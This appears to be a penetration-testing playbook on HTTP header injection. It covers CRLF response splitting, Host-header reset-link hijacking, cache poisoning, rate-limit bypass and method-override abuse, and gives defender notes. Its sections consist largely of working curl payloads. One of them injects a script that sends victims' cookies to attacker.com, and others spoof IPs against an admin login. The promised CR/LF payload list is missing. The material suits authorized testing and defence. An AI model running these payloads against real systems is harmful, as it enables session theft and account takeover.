HTTP Header Injection

Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.

Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.

Attack Surface

• Query/body/path parameters echoed into Location, Set-Cookie, Content-Type, Content-Disposition, Link, or custom X-* headers
• Request headers re-reflected into responses: Referer, User-Agent, X-Forwarded-Host, correlation IDs
• Password-reset / account-recovery flows where the reset link is built from the Host header
• OAuth/SSO redirect flows where Location is derived from user input
• CDN/reverse-proxy stacks where X-Forwarded-Host or X-Forwarded-Proto is echoed into canonical URLs
• Content-Disposition: attachment; filename=<user_input> file-download endpoints
• Outbound email headers populated from user-supplied fields (To/From/Subject)

CR/LF Injection Payload Set

These are the characters and encodings to inject. Try each until one survives to the response header:

CRLF Response Splitting

Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.

Detection

TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
  | grep -iE "^< (set-cookie|location|http)"

# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
  | grep -i "x-injected"

Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.

Exploitation: Inject Arbitrary Cookie

PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"

If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.

Exploitation: Response Splitting for Cache Poisoning

# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"

Host Header Poisoning

The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.

Password Reset Link Hijacking

The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.

# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
  -H "Host: attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@example.com"}' 2>&1 | grep -i "location\|set-cookie"

# Also try X-Forwarded-Host override (some proxies allow this to override Host)
curl -sv -X POST "${TARGET}/forgot-password" \
  -H "Host: target.com" \
  -H "X-Forwarded-Host: attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@example.com"}' 2>&1 | grep -i "location\|set-cookie"

Win signal: An email arrives (check your inbox if testing your own account) with https://attacker.com/reset?token=... in the body.

Host Header Cache Poisoning

If the app echoes Host or X-Forwarded-Host into response content (e.g., Open Graph tags, canonical links, JS config) but the CDN caches keyed only on URL:

# Step 1: Poison the cache with a malicious host
curl -sv "https://<TARGET>/" \
  -H "X-Forwarded-Host: attacker.com" 2>&1 | grep -iE "(canonical|og:url|script src)"

# Step 2: Verify the cached response serves the poisoned content to a clean client
curl -s "https://<TARGET>/" | grep "attacker.com"
# If attacker.com appears, the cache was poisoned

X-Forwarded-For and Rate Limit Bypass

Applications that rate-limit or IP-allowlist based on X-Forwarded-For or X-Real-IP without validating the source (i.e., trusting the client-supplied header rather than the proxy-appended one):

# Bypass IP-based rate limit or allowlist
for i in $(seq 1 20); do
  curl -s "${TARGET}/api/login" \
    -H "X-Forwarded-For: 127.0.0.1" \
    -H "X-Real-IP: 127.0.0.1" \
    -H "Content-Type: application/json" \
    -d '{"user":"admin","pass":"wrong"}' | python3 -m json.tool 2>/dev/null | grep -i "error\|remain\|limit"
done
# If the server never throttles, X-Forwarded-For spoofing bypasses the rate limiter

Content-Disposition Filename Injection

When a file-download endpoint builds Content-Disposition: attachment; filename=<user_input>:

# Probe: inject CRLF into filename
curl -sv "${TARGET}/download?file=report.pdf%0d%0aContent-Type:%20text/html" 2>&1 \
  | grep -i "content-type\|content-disposition"

# Probe: inject semicolon to override filename (header parameter smuggling)
curl -sv "${TARGET}/download?file=legit.pdf;%20filename=evil.html" 2>&1 \
  | grep -i "content-disposition"

X-HTTP-Method-Override Bypass

Some apps respect X-HTTP-Method-Override or _method to allow clients to "override" the HTTP method. This can bypass method-specific auth checks:

# Attempt DELETE via POST with method override
curl -sv -X POST "${TARGET}/api/admin/users/2" \
  -H "X-HTTP-Method-Override: DELETE" \
  -H "Content-Type: application/json" \
  -b basic.jar | head -5

curl -sv -X POST "${TARGET}/api/admin/users/2" \
  -H "X-HTTP-Method-Override: PUT" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin"}' \
  -b basic.jar | head -5

Cache Poisoning via Unkeyed Headers

The core technique: find a header that affects the response body but is not included in the cache key.

Enumeration

# Probe which headers alter the response (vary the value, check body diff)
for hdr in "X-Forwarded-Host" "X-Forwarded-Proto" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Port" "X-Host" "Forwarded"; do
  LEN=$(curl -s "${TARGET}/" -H "$hdr: canary-${RANDOM}" | wc -c)
  BASELINE=$(curl -s "${TARGET}/" | wc -c)
  echo "$hdr → body len $LEN (baseline $BASELINE)"
done
# Headers that change body length are reflected and potentially unkeyed

Verification That a Header Is Unkeyed

# Send with a canary value
CANARY="poison-$(date +%s)"
curl -s "${TARGET}/" -H "X-Forwarded-Host: ${CANARY}.attacker.com" | grep -c "$CANARY"
# Output > 0: header is reflected

# Now fetch WITHOUT the header - if body still contains canary, it was cached
curl -s "${TARGET}/" | grep "$CANARY"
# Output > 0: cached! The cache doesn't key on X-Forwarded-Host.

Verification Checklist

1. CRLF: injected header (Set-Cookie, custom X-*) appears in the response without the \r\n being encoded
2. Host-header poisoning: password-reset email contains attacker-controlled hostname in the reset URL
3. Cache poisoning: a clean curl (no injected headers) returns a response body containing the canary value
4. Rate-limit bypass: after N requests with spoofed IP header, no throttling response, whereas without the header the Nth request is blocked
5. Method override: DELETE/PUT action via X-HTTP-Method-Override on a POST endpoint succeeds with a basic-user token

ATT&CK Mapping

• T1190 — Exploit Public-Facing Application (CRLF injection, host header poisoning)
• T1557.002 — Adversary-in-the-Middle: ARP Cache Poisoning (analogous poisoning at the HTTP layer via unkeyed cache headers)

False Positives

• Headers stripped or encoded by an upstream WAF/proxy before reaching the app
• Host not used to build URLs (app uses a hardcoded base URL from config)
• Cache keys include Vary: X-Forwarded-Host explicitly (verify with Vary response header)
• X-Forwarded-For value overwritten by legitimate proxy before the rate-limiter reads it

Detection Notes

Defenders: strip or reject CR/LF in any user-controlled value that flows into a response header. Use a fixed BASE_URL config for password-reset link generation instead of trusting Host. Ensure CDN cache keys include any header that influences the response. Log and alert on X-Forwarded-For values containing internal IPs (127.0.0.1, 10.x, 172.16–31.x, 192.168.x).

Output Files

./
├── header_injection_crlf_probe.txt        # Raw response showing injected header
├── header_injection_host_reset.txt        # Email/response proving reset link poisoning
├── header_injection_cache_poison.txt      # Clean-fetch response containing canary
└── header_injection_summary.md            # Technique, payload, evidence, impact